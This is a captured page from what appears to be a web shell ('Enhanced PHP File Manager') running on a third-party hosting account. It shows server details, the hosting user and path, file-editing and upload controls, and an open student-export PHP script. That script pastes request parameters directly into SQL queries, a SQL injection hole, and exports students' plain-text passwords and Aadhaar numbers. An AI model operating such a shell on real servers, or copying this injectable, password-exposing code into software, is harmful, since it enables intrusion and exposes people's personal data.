Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/udan.org.in/public_htmlbkp/webadmin

Free Space:

1.91 TB

🔧 Quick Actions

✏️ Editing: exportstudent.php

<?php
ob_start();
session_start();
include("includes/inall.php");
$d=date("Y-m-d");
$filename="Students_".$d.".xls";
$table="student";
$tablea="schools";
$pkey="s_id";
$count=1;
$contents="Sl.\tDate\tID\tType\tClass\tDistrict\tBlock\tPanchayet\tVillage\tFirst Name\tLast Name\tFather's Name\tDOB\tAge\tGender\tAddress\tPostcode\tSchool Name\tBlood Group\tAim in Life\tEmail-ID\tMobile No.\tAlternate No.\tUsername\tPassword\tAadhaar No.\n";
$sql="select * from `".$table."` st where 1";
if(isset($_REQUEST['scode']) && $_REQUEST['scode']!="") {
	$sql.=" and st.scode like '%".$_REQUEST['scode']."%'";
}
if(isset($_REQUEST['sfname']) && $_REQUEST['sfname']!="") {
	$sql.=" and st.sfname like '%".$_REQUEST['sfname']."%'";
}
if(isset($_REQUEST['slname']) && $_REQUEST['slname']!="") {
	$sql.=" and st.slname like '%".$_REQUEST['slname']."%'";
}
if(isset($_REQUEST['schname']) && $_REQUEST['schname']!="") {
	$sql.=" and sc.name like '%".$_REQUEST['schname']."%'";
}
if(isset($_REQUEST['sdistrict']) && $_REQUEST['sdistrict']!="") {
	$sql.=" and st.district='".$_REQUEST['sdistrict']."'";
}
if(isset($_REQUEST['fdate']) && $_REQUEST['fdate']!="") {
	$sql.=" and st.date>='".$_REQUEST['fdate']."'";
}
if(isset($_REQUEST['tdate']) && $_REQUEST['tdate']!="") {
	$sql.=" and st.date<='".$_REQUEST['tdate']."'";
}
$sql.=" order by st.".$pkey." desc";
$res=mysqli_query($con,$sql);
while($row=mysqli_fetch_assoc($res)) {
	$contents=$contents.$count."\t".dtconvert($row['date'])."\t".$row['scode']."\t".$row['rtype']."\t".$row['class']."\t".$row['district']."\t".$row['blockm']."\t".$row['panchaw']."\t".$row['vlarea']."\t".$row['sfname']."\t".$row['slname']."\t".$row['fname']."\t".dtconvert($row['sddate'])."\t".$row['sage']."\t".$row['sgender']."\t".$row['saddress']."\t".$row['spin']."\t".$row['name']."\t"."\t".$row['sbgrp']."\t".stripslashes($row['saim'])."\t".$row['semail']."\t".$row['smobile']."\t".$row['salterno']."\t".$row['suname']."\t".$row['spass']."\t".$row['saadhaarno']."\n";
	$count++;
}
header('Content-type: application/ms-excel');
header('Content-Disposition: attachment; filename='.$filename);
echo $contents;
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: exportstudent.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation